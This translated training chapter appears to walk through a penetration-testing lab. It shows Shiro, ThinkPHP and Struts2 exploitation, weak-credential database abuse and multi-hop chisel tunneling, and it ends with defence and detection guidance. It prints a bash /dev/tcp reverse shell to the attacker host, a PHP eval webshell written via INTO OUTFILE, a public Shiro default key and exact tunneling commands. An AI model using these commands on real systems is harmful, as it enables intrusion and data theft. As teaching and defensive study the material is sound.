Hands-On Intranet Pivoting, Lateral Movement, and Tunneling Techniques
·(edited)·· reads0
AI TranslationSimplified ChineseEnglish
Key Insights
This chapter introduces the core concepts of internal network penetration (lateral movement/pivoting), using the Puff-Pastry target environment as an example to walk through the full attack chain—from perimeter breach to internal network roaming. Attackers first leverage a dual-NIC host as a pivot point, gaining an initial foothold through web vulnerabilities such as Shiro deserialization, ThinkPHP RCE, and Struts2 OGNL injection. They then exploit weak credentials in databases like Redis, MySQL, and PostgreSQL to read sensitive data or write webshells. The chapter also focuses on chisel port forwarding and SOCKS tunneling techniques for building multi-level pivots to access cross-segment networks. Finally, it outlines defensive hardening measures for each attack vector, including eliminating weak passwords, restricting database file write permissions, and implementing internal micro-segmentation and outbound traffic controls—emphasizing defense-in-depth and least-privilege principles. The entire process covers reconnaissance, intrusion, lateral movement, privilege escalation, and data collection, helping readers understand attacker tactics and strengthen their defenses.
Chapter 1 Intranet Penetration
The essence of intranet penetration (lateral movement / pivoting) is this: the attacker first compromises a machine that can "see" the intranet (a jump host), then uses that machine to probe, access, and penetrate the intranet behind it. This jump host is usually a dual-homed host — it is connected to two different network segments at once, and we hop segment to segment across these "bridges," moving inward one layer at a time.
Attack Chain Model
An attack like this is usually broken down into six steps (corresponding to the chapters of this textbook):
Step
Term
Concrete action in this lab
Chapter
1
Reconnaissance / Fingerprinting
Identify port `8080` as Shiro
Chapter 3
2
Initial Access
Shiro deserialization RCE (gain a root shell)
Chapter 3
3
Establishing a Foothold
Reverse shell, upload fscan
Chapter 3
4
Lateral Movement
Discover and compromise ThinkPHP, Redis, phpMyAdmin, Struts2, Postgres layer by layer
Chapters 4–6
5
Privilege Escalation / Data Collection
Read flags from each host/database
Various chapters
6
Persistence / Covering Tracks
(not covered in depth in this lab; an advanced topic)
Extension
This lab has three parallel skill tracks:
Exploitation: Shiro → ThinkPHP → Struts2 — all cases of code execution caused by a web framework treating external input as code/objects/expressions.
Data Access: Redis / MySQL / Postgres — reaching data directly via weak credentials, or abusing database features to write files and elevate privileges.
Tunneling and Lateral Movement: chisel port forwarding + SOCKS, proxychains, multi-level jump hosts. This is thecore capability that ties the first two tracks together and extends the attack's reach.
1.4 Lab Environment and Preparation
1.4.1 Lab Network Topology
1.4.2 Host Asset Inventory
Layer
Host
Intranet Address
Key Ports
Vulnerability / Weakness
Flag Location
1
Shiro
192.168.100.3
8080
Shiro RememberMe deserialization
`/flag.txt`
1↔2
ThinkPHP
100.2 / 101.3
80, 9000
ThinkPHP 5.0.23 RCE
`/flag.txt`
2
Redis
10.85.101.2
6379
Weak password `12345`
Key `flag`
2↔3
phpMyAdmin
101.4 / 102.4
80, 9000
root/root + write a webshell
Database / Shell
3
Struts2
172.56.102.3
8080, 8009
Struts2 S2-045/046
Host files
3
Postgres
172.56.102.2
5432
Weak password postgres/password
Table `flag`
1.4.3 Tools Required on the Attacker Machine
Tool
Purpose
How to Obtain
ShiroAttack2
Shiro deserialization exploitation
GitHub
thinkphp_gui_tools
ThinkPHP exploitation
GitHub
Struts2VulsScanTools
Struts2 exploitation
GitHub
fscan
Comprehensive scanning
Download the binary to Kali
chisel
Port forwarding / SOCKS tunneling
Download the binary to Kali
redisbrute
Redis brute-forcing
GitHub / binary
redis-cli / pgcli
Database clients
`apt install` / bundled with Kali
proxychains4
Force programs through SOCKS
`apt install proxychains4`
pwncat-cs / nc
Reverse shell listener
Bundled with Kali / `pip install`
AntSword (蚁剑)
Webshell management
Official site download
Set up a simple HTTP file server (put fscan, chisel, etc. in the same directory):
This is the most common way totool deliverydeliver tools in intranet penetration: the attacker machine runs HTTP and lets the intranet machine wget pull the tools.
Chapter 2 Vulnerabilities and Tunneling Principles
2.1 Shiro RememberMe Deserialization
2.1.1 Background: What is "remember me"
Web apps often provide a "remember me" feature: users don't have to re-enter their password on the next visit. The implementation serializes the login state into an object. serializes the login state into an object, encrypts it, then places it in a Cookie (in Shiro it's called rememberMe). On the next visit, the server reads the Cookie → decrypts → deserializes it back into an object → restores the session state.
2.1.2 Root Cause of the Vulnerability
The problem lies in step ⑤ (deserialization) and step ② (encryption):
Predictable key: Shiro uses a fixed AES key, which it uses for encryption/decryption by default for encryption/decryption by default. In early versions the key was hardcoded in the source code/public material, such as kPH+bIxk5D2deZiIxcaaaA==.
Unsafe deserialization:ObjectInputStream.readObject() it does not validate the object type and will load arbitrary Java classes.
So an attacker can:
use the known AES key to encrypt a maliciously crafted serialized Java object into a rememberMe Cookie;
after the server decrypts it, readObject() the object's "Gadget chain" (exploit chain) gets triggered, ultimately executing arbitrary commands.
This is Shiro deserialization (CVE-2016-4437, commonly known as Shiro-550).
2.1.3 What is a Gadget Chain (Exploit Chain)
The key to a Java deserialization vulnerability is finding a chain of classes whose processing runs from readObject() all the way to Runtime.exec()" — this is called a Gadget Chain (exploit chain). Common ones include:
These chains essentially exploit the reflection callbacks of objects—for instance, HashMap, DynamicProxy, TemplatesImpl, and InvokerTransformer, turning "reading an object" into "executing a method" step by step.
2.1.4 How the ShiroAttack2 Tool Works
Once you understand the principle, the tool makes sense:
Tool capability
Underlying principle
**Brute-force the key**
Try decrypting one by one with a common key dictionary (including `kPH+bIxk5D2deZiIxcaaaA==`) and detect the echo
**Gadget detection**
Fire payloads generated by different exploit chains and see which one triggers command execution
**Echo command execution**
"See" the command result directly through the request response, without relying on an outbound callback
**Inject a memory shell**
Inject a piece of malicious Servlet/Filter into the running app as a persistent backdoor
“
Development background: the original shiro_attack had the NoCC (no echo) problem,ShiroAttack2 fixed it, so you can see the command output directly in the GUI. That's also why it's faster than manually using ysoserial.
2.1.5 Defense Points
Don't use a predictable/public key; generate a random key for each deployment.
Upgrade Shiro to a patched version.
Limit Cookie size, and apply length/format whitelist validation to rememberMe.
2.2 Struts2 OGNL Injection
2.2.1 Background: OGNL and ValueStack
Apache Struts2 uses OGNL (Object-Graph Navigation Language) to bind the parameter names/values in HTTP requests to objects on the backend's ValueStack (value stack). OGNL is an expression language that can navigate object graphs, call methods, and access static members.
If the framework mistakenly evaluates "user-controllable strings" as OGNL expressions, an attacker can inject malicious expressions to execute arbitrary commands.
2.2.2 S2-045 and S2-046 (CVE-2017-5638)
When Struts2's Jakarta file upload component parses upload requests, it evaluates the Content-Type header (S2-045) or the Content-Disposition/filename (S2-046) as an OGNL expression.
The attack payload looks like this (conceptual illustration):
Here it uses # to reference the context, and %{...} / ${...} to trigger expression evaluation. Once these and similar entries relax access control, the #context['xwork.MethodAccessor'] and similar things relax access control, it can reach Runtime to execute system commands.
The relationship between S2-045 and S2-046: the two share nearly the same mechanism and both fall under CVE-2017-5638 ; they differ only in the trigger point:
S2-045: injects in the Content-Type header.
S2-046: injected into the Multipart upload Content-Disposition or filename parameter.
“
In this lab, fscan reports poc-yaml-struts2_045, while the official writeup's title says S2-046. In practice these tools usually catch the whole ST chain at once, so there's no need to quibble over the exact number — but it's worth understanding the root cause: "OGNL injection → command execution".
2.2.3 Defensive measures
Upgrade to a version not affected by CVE-2017-5638.
Disable or replace the Jakarta upload parser, or add a WAF rule to block OGNL signature strings in the Content-Type/filename (%{, #, Runtime, etc.).
2.3 ThinkPHP method-call / filter RCE
2.3.1 Background
ThinkPHP 5, a PHP framework, whose route dispatching lets request parameters invoke the corresponding controller/method. When the framework **lets users control "which class, which method, and what arguments to call"** without a whitelist, arbitrary method invocation → command execution becomes possible.
2.3.2 Two common exploitation techniques
① invokefunction method-call RCE (early ThinkPHP 5.x)
Use route parameters to make think\App::invokefunction call an arbitrary function:
Meaning: invokefunction in function is set to call_user_func_array, vars[0] is the called function system, and vars[1][] is the argument id. So it executes system('id').
② __construct + filter filter RCE (specific ThinkPHP 5.0.x versions)
ThinkPHP's Request class has a filter property used to "filter" the input. If an attacker uses the HTTP method _method=__construct to overwrite filter with system, sets a method as get, and then triggers some input, that input is processed by system → command execution.
This corresponds to tp5_construct_code_exec_1/2 in the writeup.
2.3.3 Session-include RCE (tp5_session_include)
ThinkPHP serializes sessions to a local file (under runtime/). If an attacker can:
put a snippet of executable PHP code into the session content;
then use a "file inclusion" vulnerability to include that session file as a template/file;
PHP will execute the code inside the session file as PHP. This is tp5_session_include.
2.3.4 Defensive measures
Upgrade ThinkPHP to ≥ 5.0.23 patched / 5.1 / 6.x.
Strictly restrict routes and controller whitelists; disable dangerous behavior like invokefunction.
Don't enable configurations that let session files be referenced/included from the web directory.
2.4 Weak database credentials and file write
2.4.1 Redis: key-value database and AUTH
Redis is an in-memory key-value store with no authentication by default. If requirepass is configured, clients must authenticate with AUTH <密码>.
Why weak credentials are dangerous:
After brute-forcing/guessing the password, an attacker can read/write arbitrary keys (KEYS * / GET) and directly read sensitive data (this lab's flag is stored in the flag key).
Worse still, if Redis can write dir + dbfilename and save persistence, you can write files to arbitrary system paths, and from there drop a Webshell, write to authorized_keys for SSH login, or plant a cron job.
2.4.2 MySQL: secure_file_priv and INTO OUTFILE
MySQL lets you write query results to server files:
SQL
SELECT '...' INTO OUTFILE '/path'
but it's gated by the global variable secure_file_priv:
`secure_file_priv` value
Meaning
empty `""`
**unrestricted** — meaning you can write to any path (which is the case in this lab)
a specific directory
only that directory is writable
`NULL`
file writes disabled
Exploit chain (escalating database privileges to web privileges):
Confirm secure_file_priv is empty;
use INTO OUTFILE to write a PHP one-liner webshell into the web root;
access that file and connect with AntSword → gain host privileges.
PHP one-liner webshell:<?php @eval($_POST["shell"])?> — receives the POST parameter shell and executes it with eval; it's the minimalist form of a WebShell.
2.4.3 PostgreSQL: superuser and pg_hba.conf
PostgreSQL's default superuser is postgres. If a weak password is hit (e.g. postgres:password), you can log in as superuser and enumerate all databases/tables.
**Security config option pg_hba.conf**: controls "which clients, which databases, and which auth methods can connect". If set to trust, no password is needed at all. In production, restrict source networks and require strong auth such as scram-sha-256.
2.4.4 Defensive measures
Bind database services only tointernal/isolated network segments, never expose them to the public internet.
Strong passwords + regular rotation + rate-limiting and lockout on failures.
secure_file_priv set to a controlled directory, don't leave it empty; the web root must not be writable by the database process.
Least privilege: separate application accounts from DBA accounts.
2.5 Internal-network tunneling and multi-hop pivoting
2.5.1 Why you need tunnels
Hosts inside the intranet can talk to each other, butthe attacker machine (Kali) is separated from those intranet hosts by a firewall/NAT. Two typical connectivity problems arise:
Kali can't reach the intranet (the intranet uses private addresses and isn't reachable from the public internet).
The intranet hosts also can't initiate connections to Kali (outbound traffic is restricted, or they simply don't know about the outside world).
A tunnel is,using a machine you've already compromised that can communicate with both the internal and external networks (a pivot), a way to "carry" attack traffic into the intranet, or carry intranet traffic back out.
2.5.2 A dual-NIC host = a natural bridge
This host sits on both network segment A and network segment B, making it a natural relay point. By placing tools on it—or having it forward traffic—you can work your way from Kali all the way to the innermost layer.
2.5.3 Forward tunnel vs. reverse tunnel (chisel's two modes)
Forward:chisel client <server> <local>:<remote> —— listens on a local port on the client and connects to remote (a target reachable from the server).
Reverse (using the R: prefix): has the target machine actively connect back to the attacker's chisel server, then opens a port on the server that maps to an address the target can reach.
Scenario
Why use reverse
The intranet machine cannot reach the internet
It can't actively connect to Kali, so reverse won't work. You can only use forward, having Kali connect to it (if Kali can reach it)
The intranet machine can get out to the internet
Use reverse and have the target connect back to Kali, bypassing the "NAT blocks inbound connections" limitation
Rule of thumb:
If the target can actively connect to Kali → use reverse (R:).
If Kali can connect directly to the target → use forward (no R:).
In both cases, the machine running chisel's server/service acts as the "relay brain."
2.5.4 SOCKS proxy: open up an entire subnet at once
Single-port forwarding can only "carry" one service at a time. If the intranet has many services, a better approach is to set up a SOCKS5 proxy:
Then on the attacker machine, proxychains4 will force any program (such as pgcli,redis-cli,curl) to route traffic through this SOCKS proxy, letting you reach the entire intranet subnet.
2.5.5 Multi-hop pivoting (three layers of nesting)
When the network spans more than one layer, you have to "build bridges" one layer at a time. In this lab, for Kali to reach layer 3172.56.102.0/24, it needs to:
Key insight (a warning point from the writeup): in the deeper layers, the proxy's main server address can't be Kali, it must be the deeper-layer pivot that already has port forwarding set up (phpMyAdmin, in this case). Because layer 3 can't reach Kali at all—it can only connect to "the controlled machine closest to it."
Why nest them this way:
phpMyAdmin (layer 2) can't reach Kali on the public internet, but it can reach ThinkPHP;
ThinkPHP can reach Kali;
so have ThinkPHP act as an intermediate hop ("relaying" phpMyAdmin's connection onward to Kali).
The SOCKS exit ultimately lands on Kali, but the traffic actually gets forwarded into layer 3 through phpMyAdmin.
“
Multi-hop pivoting in one sentence:each hop only connects the traffic of "two adjacent layers," like a relay race. The deeper the target, the more "hops" you need.
2.5.6 Choosing a tunneling tool
Tool
Characteristics
Best for
chisel
Single binary, TCP/UDP, supports SOCKS and port forwarding, resistant to censorship
First choice for small environments or when you need SOCKS/multiple ports
frp
Full-featured, configuration-driven
Production/complex forwarding
SSH tunnel
Built into the system, `-L`/`-R`/`-D`
Simplest when you have SSH access
nps / reversh
Reverse proxy
When you need a web admin UI
This book uses chisel throughout (single binary, cross-platform, simple commands).
Chapter 3 Stage one: breaking the perimeter — Shiro
“
Goal: from the only externally exposed port 8080 take down the first host, get a root shell, and map out the layer-1 intranet.
3.1 Learning objectives for this chapter
Learn to identify a Shiro application via the RememberMe field.
Understand and use ShiroAttack2 to perform deserialization RCE.
Master the "reverse shell + base64 encoding" delivery technique.
Learn to determine the subnet with ifconfig and do intranet discovery with fscan.
3.2 Prerequisites
Basic HTTP request/response and cookie concepts.
Java deserialization and gadget chains (see §2.1).
Reverse shell (/dev/tcp,bash -i).
3.3 Why attack it this way
The only entry point is 8080, and the response body shows RememberMe — this is a strong sign of Shiro deserialization.Confirm the framework first, and only then can you pick the right tool, so you don't waste time fuzzing a non-Shiro application. Once you've taken it over, there are two things to do:get a reverse shell (for an interactive session) and scan the intranet (to find the next target).
Capture the request packet and confirm that the request header/response contains RememberMe:
Cookie: JSESSIONID=...; rememberMe=xxx
Expected result: see the rememberMe field → proceed with Shiro deserialization exploitation.
Note: this is exactly the "give me a place where objects can be serialized" idea from §2.1 — rememberMe is the entry point.
Step 2: Exploit with ShiroAttack2
Open ShiroAttack2 and fill in the target address (e.g. http://<入口IP>:8080), then first detect/brute-force the key, and once a hit is found, select echo command execution.
Expected result: the tool reports it hit the default key kPH+bIxk5D2deZiIxcaaaA== and can execute commands directly.
Why brute-force the key first: Shiro must use the correct AES key to encrypt the payload. ShiroAttack2 automatically tries common key dictionaries and, once it hits, can craft a valid Cookie.
Step 3: Read the First Flag
BASH
cat /flag.txt
Note: verifies that the "deserialization → file read" path works.
Step 4: Get a Reverse Shell (Gain an Interactive Session)
pwncat-cs -lp 9999
# 看到 received connection from 192.168.200.2:... 即成功
Why use base64: directly passing bash -c "/bin/bash -i >& /dev/tcp/.../9999 0>&1" — the quotes, redirects, and & — easily breaks during transport/escaping. Encoding to base64 first and then decoding on the target sidesteps special-character issues, and the payload is "cleaner" so it won't cause terminal escape-sequence chaos.
Expected result:whoami returnsroot (in the WriteUp example, root).
“
Troubleshooting: if the reverse shell doesn't connect — ① check whether Kali is listening and whether the port is correct; ② check whether the target has outbound network access (a successful callback means outbound access is available and a reverse tunnel is viable; if not, you'll need a forward tunnel or an intermediate relay).
Check whether it's actually `rememberMe`; manually extend the key dictionary
Reverse shell won't connect
Target has no outbound access / wrong port
Confirm connectivity; use a forward listener or relay through a tunnel
fscan download slow/fails
HTTP file server not running / wrong directory
Run `python3 -m http.server 80` in `/tools`; double-check the filename
`ifconfig` shows fewer NICs
Some environments use `ip a`
Use `ip a` / `ip addr` as an additional check
3.7 Chapter Summary
“
Use the "framework fingerprint" at the only entry point to pick the right tool precisely → deserialization RCE → reverse shell for an interactive session → ifconfig + fscan to discover the subnet and the next target. The core takeaways are three things: "confirm the framework + establish an interactive session + gather intranet intelligence."
3.8 Questions and Exercises
Why must you first confirm the framework is Shiro before using ShiroAttack2? Give a counter-example of what happens if you don't.
What are the two necessary conditions for Shiro deserialization? (the key & unchecked deserialization)
Why do attackers prefer a "reverse shell" over "just executing commands inside a tool"?
Do the results of ip a and ifconfig differ? Why should you pay attention to "multiple NICs / multiple subnets"?
Advanced: if you don't get a reverse shell and rely only on ShiroAttack2's "echo command execution," can the subsequent intranet scan still be carried out? Why or why not?
Chapter 4 — Phase Two: Lateral Movement — ThinkPHP
“
Goal: use Shiro as a pivot to reach and compromise the ThinkPHP at 192.168.100.2, obtain a www-data shell, and use it (dual-homed) to discover the Layer 2 network.
4.1 Chapter Objectives
Understand and practice single-port reverse port forwarding (chisel).
Use thinkphp_gui_tools to complete the ThinkPHP 5 RCE.
Understand the role of a "dual-homed host" as a pivot.
Use fscan to discover the Layer 2 subnet.
4.2 Prerequisites
§2.5 Tunnel fundamentals (forward/reverse, port forwarding).
§2.3 ThinkPHP RCE fundamentals.
Able to read fscan output.
4.3 Why Attack This Way
Shiro (100.3) can reach 192.168.100.2 (on the same subnet), but Kali cannot reach it directly. So first use chisel to 192.168.100.2:80share it to a local Kali port 10001; then Kali can access this intranet web service as if it were local. Next, run the RCE against ThinkPHP, grab a www-data shell, and scan to discover Layer 2.
chisel client 192.168.200.129:1331: Shiro first connects back to Kali's chisel main server (reverse).
R:0.0.0.0:10001:192.168.100.2:80: the **R: flag means **reverse** — on the server side (Kali) open 10001, and forward any traffic arriving at 10001 to the client (Shiro), which can reach 192.168.100.2:80.
Result:http://127.0.0.1:10001 is equivalent to the intranet http://192.168.100.2.
Step 2: ThinkPHP vulnerability detection and exploitation
Point thinkphp_gui_tools at http://127.0.0.1:10001 and detect first:
Check the server `-p 1331 --reverse`; point the client at the correct IP
Forwarding works but port 10001 returns nothing
ThinkPHP service not running / mapping wrong
Test with `curl http://127.0.0.1:10001`
thinkphp_gui_tools detects nothing
Hitting the wrong address (not going through the tunnel)
Make sure you target `127.0.0.1:10001`, not the intranet IP
Reverse shell runs but never calls back
Target has limited egress / port
Change the listening port, or use a forward shell / relay via an outer host
4.7 Chapter summary
“
A single port reverse tunnel moves the "intranet web service" to Kali → ThinkPHP RCE → a www-data shell → ifconfig reveals it's a dual-NIC host, and a scan uncovers layer 2. The key takeaway is the first "cross-segment pivot" (port forwarding), which is also the foundation for the SOCKS and multi-hop pivoting covered later.
4.8 Questions and exercises
R:0.0.0.0:10001:192.168.100.2:80 what does R: represent? Why is it called "reverse"?
Why use "single-port forwarding" here instead of a full SOCKS tunnel? (Layer 2 has few services, so open one path first and go from there)
ThinkPHP has egress access, and so does Shiro — why bother with chisel's complexity? (Think: without forwarding, Kali can't reach 100.2's port 80 at all)
Advanced: what would change if we swapped the order of the deserialization and ThinkPHP RCE (hit ThinkPHP first, then Shiro)?
Advanced: can www-data write to /var/www/wwwroot? Why do webshells typically get written to the web root rather than elsewhere?
Chapter 5 Stage 3: Lateral movement — Redis and phpMyAdmin
“
Goal: on layer 2, take down Redis (weak password) and phpMyAdmin (root/root + write a webshell + reverse shell), then use phpMyAdmin (dual-NIC) to discover layer 3.
5.1 Chapter learning objectives
Master the pairing of SOCKS tunnels (chisel) with proxychains.
Use redisbrute to brute-force Redis, and redis-cli to read data.
Log into phpMyAdmin with a weak password, write a webshell via MySQL INTO OUTFILE, and connect with AntSword.
Understand the reverse-shell trick of "when an intranet host has no egress, borrow an outer host for reverse forwarding."
Use fscan to discover layer 3
5.2 Prerequisites
§2.5 Tunnels, SOCKS, and multi-hop pivoting.
§2.4 Database weak passwords and file writes.
Basic Redis / MySQL commands.
5.3 Why attack this way
Layer 2 has many services (Redis, phpMyAdmin), so just build a SOCKS proxy up front and be done with it. After that:
For Redis: forward 6379 out separately (more stable for brute-forcing/connecting), crack the password with redisbrute, and read the flag.
For phpMyAdmin: log in with the weak credentials root/root, write a one-liner webshell via INTO OUTFILE, connect with AntSword to take control, and get a root reverse shell.
Finally, scan the phpMyAdmin host to discover layer 3.
Why forward Redis separately: brute-forcing/connecting to Redis needs a stable direct channel; mapping it to Kali's local 16379 is more controllable than going through SOCKS.redisbrute Use rockyou.txt (Kali's built-in wordlist) to try common passwords.
Step 3: Read the Redis flag
BASH
redis-cli -h 127.0.0.1 -p 16379 -a "12345"
127.0.0.1:16379> KEYS *
1) "flag"
127.0.0.1:16379> GET flag
"WSS-Studio{Redis-870ed89a-6658-4350-8d17-9f293df5c6b1}"
Note:-a authenticate with the password (it'll warn about the password being exposed in plaintext on the command line — acceptable in a teaching environment; in production, use interactive AUTH).KEYS * enumerate all keys, and GET read the value.
Step 4: phpMyAdmin weak-credential login
Set up the proxy (SOCKS) in the browser and visit http://10.85.101.4/:
数据库地址: localhost
用户名: root
密码: root
Expected result: You successfully enter phpMyAdmin.
Step 5: Read the flag in MySQL
Find the corresponding flag record in the database (SELECT * FROM ...).
Step 6: Write a Webshell via MySQL
First, confirm the writable path:
SQL
show global variables like '%secure%'
See secure_file_priv is empty → arbitrary path writes are allowed. Then write a one-liner webshell:
SQL
select '<?php @eval($_POST["shell"])?>' into outfile '/var/www/html/shell.php'
Open /shell.php to confirm the file was created; then connect with AntSword, password shell.
Why this works: all three preconditions must be met at once.secure_file_priv is empty, the web root is writable by MySQL, and we know the web root path (/var/www/html).
Step 7: phpMyAdmin reverse shell (forwarded through the outer hop)
phpMyAdmin sits in an isolated internal network and can't reach Kali directly, so we have ThinkPHP perform one layer of forwarding:
nc -lvnp 8888
# connect to [127.0.0.1] ...
whoami
root
Why this path works: phpMyAdmin can't reach Kali, but it can reach ThinkPHP on the same subnet (ThinkPHP has outbound access and an established tunnel to Kali). ThinkPHP uses 8888:0.0.0.0:8888 to "forward traffic to Kali 8888"; phpMyAdmin reverses back to ThinkPHP:8888, and ThinkPHP relays it all the way back to Kali. This demonstrates the real-world technique of multi-hop pivoting + reverse forwarding.
172.56.102.4:9000 open
172.56.102.4:80 open
172.56.102.1:22 open
172.56.102.2:5432 open # Postgres
172.56.102.3:8009 open # Struts2
172.56.102.3:8080 open
[*] WebTitle http://172.56.102.4 title:phpMyAdmin
[+] InfoScan http://172.56.102.4 [phpMyAdmin]
[+] Postgres:172.56.102.2:5432:postgres password # 弱口令被直接爆出
[*] WebTitle http://172.56.102.3:8080 title:$Title$
[+] PocScan http://172.56.102.3:8080 poc-yaml-struts2_045 poc1
Layer 3 conclusion:phpMyAdmin 102.4, Postgres 102.2, Struts2 102.3. We also gain two pieces of intel: a weak Postgres password postgres:password, and Struts2 has struts2_045.
5.6 Common troubleshooting
Symptom
Likely cause
Fix
Accessing phpMyAdmin through the browser proxy fails
SOCKS not configured / wrong proxy port
Check whether `127.0.0.1:10002` is listening; point the browser proxy at it
`INTO OUTFILE` reports a permission error
`secure_file_priv` is not empty / target directory is not writable
First check `%secure%`; switch to a writable directory or verify directory permissions
AntSword won't connect
Wrong path/password, or the file was deleted
Confirm `/shell.php` returns HTTP 200; password is `shell`
First confirm the 8888 forward is listening on ThinkPHP, then have phpMyAdmin reverse back
fscan scan is incomplete
Wrong subnet notation / target returns no output
Use the full subnet `-h 172.56.102.0/24`
5.7 Chapter summary
“
The SOCKS tunnel opened up layer 2, where Redis was brute-forced and the flag read. Then phpMyAdmin's weak credentials allowed an INTO OUTFILE webshell, and with AntSword reversed through the outer hop, after which fscan discovered layer 3. Three capabilities at play: exploiting database weak credentials, privilege escalation by writing files from the database, and reversing through an intermediary.
5.8 Discussion and exercises
What scenarios suit a SOCKS tunnel vs. single-port forwarding? Why did we use SOCKS for layer 2 but forward Redis separately?
INTO OUTFILE What three preconditions must hold for a successful write? What happens if one is missing?
Why can't phpMyAdmin reverse directly back to Kali, and why have ThinkPHP forward a layer instead?
Advanced: if Redis is configured with dir=/var/www/html and dbfilename=shell.php, can you use CONFIG SET to write a webshell? Compare it with MySQL's INTO OUTFILE.
Advanced: why can fscan directly report Postgres: postgres password? What does that tell us (the basic principle of weak-password scanning)?
Goal: break through the "three-hop relay" to reach the innermost 172.56.102.0/24, take down Struts2 (S2-045/046) and Postgres (weak password), and collect the final flag.
6.1 Learning objectives
Understand and practice multi-hop pivoting / three-layer SOCKS tunneling.
Use Struts2 exploit tools to achieve S2-045/046 RCE.
Use pgcli weak password to log in to Postgres and read data.
Understand the key point that the innermost proxy server must not be Kali — it must be the innermost controlled hop.
6.2 Prerequisites
§2.5 Multi-hop pivoting (relay forwarding).
§2.2 Struts2 OGNL injection.
§2.4 Postgres weak password.
6.3 Why attack this way
The innermost 172.56.102.0/24 is a "two-layer internal network" that can't reach Kali, nor can it directly access the outer proxy server. So we need to:
Have ThinkPHP transparently forward port 1331 (it's close to the outer layer);
Build another SOCKS tunnel on phpMyAdmin and point the "master proxy server" at phpMyAdmin itself (not Kali);
Finally, Kali reaches layer 3 through SOCKS and attacks Struts2 + Postgres.
Meaning: ThinkPHP connects back to Kali on port 1331, listens locally on its own port 1331, and forwards the traffic it receives to Kali's 1331. This opens a route to the Kali master server for the "deeper phpMyAdmin".
On the Kali side you'll see session#20: tun: proxy#R:10005=>socks: Listening.
Why use 10.85.101.3:1331 (ThinkPHP) as the proxy's master server address instead of Kali: phpMyAdmin sits on layer 2, so it can't reach the external Kali, but it can reach ThinkPHP (same subnet, with an established tunnel to Kali). So phpMyAdmin relays its "connection to Kali" through ThinkPHP.
“
⚠️ Key reminder: in a two-layer internal network, the master proxy address must not be Kali — it should instead be the innermost controlled host with the port forward established (phpMyAdmin).
Step 3: Struts2 exploitation (S2-045/046)
Access 172.56.102.3:8080 through SOCKS, and then use Struts2VulsScanTools to detect and exploit it.
Tool details: abc123info/Struts2VulsScanTools — set the target and vulnerability type in the GUI, then run commands with one click (it essentially builds an OGNL payload to hit S2-045/046).
Expected result: you can execute commands and read the flag on that host.
“
A note on the numbering: fscan reports struts2_045, while the writeup title says S2-046; both fall under CVE-2017-5638 (OGNL injection in the Jakarta file-upload component), and the difference lies only in the trigger point (Content-Type header vs Content-Disposition/filename). Exploitation tools can usually hit both, so just understand the root cause — "OGNL injection → command execution."
Step 4: Read the flag on the Struts2 host
“
The screenshot in the writeup is captioned "flag - phpMyAdmin," but it is actually the 5th flag—read through the Struts2 host (chapter numbering is easy to mix up). Read it the same way as before: pull the flag file from the command-execution output.
Step 5: Log into Postgres with a weak password and read the flag
fscan already reported postgres:password. Access 172.56.102.2:5432 through SOCKS:
BASH
proxychains4 pgcli -h 172.56.102.2 -u postgres
# Password for postgres: password
postgres> \l # 列出所有数据库
postgres> \c flag # 连到 flag 库
postgres@172.56.102.2:flag> \dt # 列出表
postgres@...:flag> SELECT * FROM flag
+-------------------------------------------------------------+
| data |
| WSS-Studio{Postgresql-cb6cba4a-6d7b-43b6-bfc4-0146b0d0e5af} |
+-------------------------------------------------------------+
Why this works: postgres is the PostgreSQL superuser, and the weak password password was guessed on the first attempt; once logged in you can enumerate every database and table.
Command notes:
proxychains4 pgcli ...: routes pgcli through the SOCKS tunnel into the internal network.
\l lists databases, \c <db> connects to one, \dt lists tables, and SELECT * FROM <table> reads data.
The 5th/final flag: read from the flag database's flag table in Postgres. At this point all targets (hosts and databases on layers 1, 2, and 3) have been taken.
6.6 Common troubleshooting
Symptom
Likely cause
Fix
Layer 3 unreachable
Layer 2 proxy master set to Kali
Change it to `10.85.101.3:1331` (ThinkPHP)
SOCKS not established
chisel wasn't uploaded to phpMyAdmin / port forwarding failed
First confirm the forward on ThinkPHP port 1331 is listening; upload chisel to phpMyAdmin
Can't hit Struts2
Not going through SOCKS / version mismatch
Check the proxychains config; switch tools or exploit chains
Postgres login fails
Wrong password / not going through the proxy
Confirm `postgres:password`; use the `proxychains4` prefix
`\l` or `\dt` returns nothing
Wrong database connected / permissions
Run `\c flag` then `\dt`; confirm you're the superuser
6.7 Chapter summary
“
Three-layer pivoting (Kali→ThinkPHP→phpMyAdmin→layer 3) + Struts2 S2-045/046 RCE + Postgres weak-password readout from the database. The core takeaway is the technical pinnacle of this course: understand the multi-hop relay logic that "the innermost proxy master must be the innermost compromised jump host", and be able to pull the final data from a plain database weak password.
6.8 Review questions and exercises
Why can't Kali be the proxy master for layer 3? Explain in terms of connectivity.
What does "two-layer internal network" mean? Why can't you connect directly to the internet?
What are the similarities and differences between S2-045 and S2-046? Why can they inject through Content-Type/filename?
proxychains4 pgcli in proxychains4 — what does it do? What happens if you omit it?
Taking it further: this lab depends on "dual-NIC jump host + chisel." If a jump host provides no way to install or run chisel (no execute permission, or only a web console), how would you achieve the same effect? (Hint: WebShell proxying, SSH tunnels, frp, etc.)
Chapter 7 Comprehensive defense and hardening
“
This lab collects nearly every classic mistake. The best way to defend is to know how attackers get in.
7.1 Side-by-side mapping (attack point vs defense point)
Tighten the target's outbound access as much as possible
7.2 Core defense principles
Defense in depth: don't stake security on a single point. Even if the external web is breached, the internal network should be micro-segmented so attackers "get in but can't get far."
Eliminate weak passwords: enforce strong passwords on all databases/admin panels + rotate regularly + lockout policies.
Restrict database file-write permissions: secure_file_priv don't leave it empty; prohibit DB writes to the web root.
Least privilege: separate application accounts from the DBA;root no Web admin; run containers/processes with low privileges.
Least exposure: bind the database and management consoles (phpMyAdmin) only to the internal/management network segment, never expose them to the public internet.
Outbound traffic control: strictly limit the outbound connections that internal machines initiate, since reverse shells, wget, and tunnel callbacks all depend on outbound access.
Alerting and auditing: monitor for anomalous behavior (INTO OUTFILE,base64 -d,/dev/tcp, abnormally large cookies, frequent failed logins, etc.).
7.3 Practical detection rules (examples)
Detect unusual Content-Type / whether the filename contains %{,#context,Runtime (OGNL).
Detect SELECT ... INTO OUTFILE / large-volume INTO DUMPFILE statements.
Detect rememberMe cookies that grow abnormally large (which can be used to match large objects).
Detect large volumes and high frequency of outbound connections from internal hosts (pointing to port 80/443 on non-whitelisted IPs, etc.).
Detect AUTH a sudden spike in failed attempts (Redis/Postgres brute force).
Internal penetration & tunneling:chisel / frp / ssh -L/-R/-D official docs; advanced books such as 《内网安全攻防》.
“
